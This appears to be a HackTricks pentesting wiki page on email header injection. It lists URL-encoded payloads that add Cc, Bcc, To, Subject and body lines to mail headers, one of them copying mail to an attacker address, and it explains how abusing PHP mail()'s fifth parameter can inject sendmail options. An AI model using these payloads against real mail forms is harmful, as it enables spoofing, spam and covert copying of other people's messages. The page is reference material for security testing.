# Email Injections ![](<../.gitbook/assets/image (9) (1) (2).png>) \ Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ Get Access Today: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
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## Inject Cc and Bcc after sender argument ``` From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com ``` The message will be sent to the recipient and recipient1 accounts. ## Inject argument ``` From:sender@domain.com%0ATo:attacker@domain.com ``` The message will be sent to the original recipient and the attacker account. ## Inject Subject argument ``` From:sender@domain.com%0ASubject:This is%20Fake%20Subject ``` The fake subject will be added to the original subject and in some cases will replace it. It depends on the mail service behavior. ## Change the body of the message Inject a two-line feed, then write your message to change the body of the message. ``` From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message. ``` ## PHP mail() function exploitation ```bash # The function has the following definition: php --rf mail Function [ function mail ] { - Parameters [5] { Parameter #0 [ $to ] Parameter #1 [ $subject ] Parameter #2 [ $message ] Parameter #3 [ $additional_headers ] Parameter #4 [ $additional_parameters ] } } ``` ### The 5th parameter ($additional\_parameters) This section is going to be based on **how to abuse this parameter supposing that an attacker controls it**. This parameter is going to be added to the command line PHP will be using to invoke the binary sendmail. However, it will be sanitised with the function `escapeshellcmd($additional_parameters)`. An attacker can **inject extract parameters for sendmail** in this case. #### Differences in the implementation of /usr/sbin/sendmail **sendmail** interface is **provided by the MTA email software** (Sendmail, Postfix, Exim etc.) installed on the system. Although the **basic functionality** (such as -t -i -f parameters) remains the **same** for compatibility reasons, **other functions and parameters** vary greatly depending on the MTA installed. Here are a few examples of different man pages of sendmail command/interface: * Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html * Postfix MTA: http://www.postfix.org/mailq.1.html * Exim MTA: https://linux.die.net/man/8/eximReferences Depending on the **origin of the sendmail** binary different options have been discovered to abuse them and l**eak files or even execute arbitrary commands**. Check how in [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html) ## References * [**https://resources.infosecinstitute.com/email-injection/**](https://resources.infosecinstitute.com/email-injection/) * [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
🎙️ HackTricks LIVE Twitch Wednesdays 5.30pm (UTC) 🎙️ - 🎥 Youtube 🎥 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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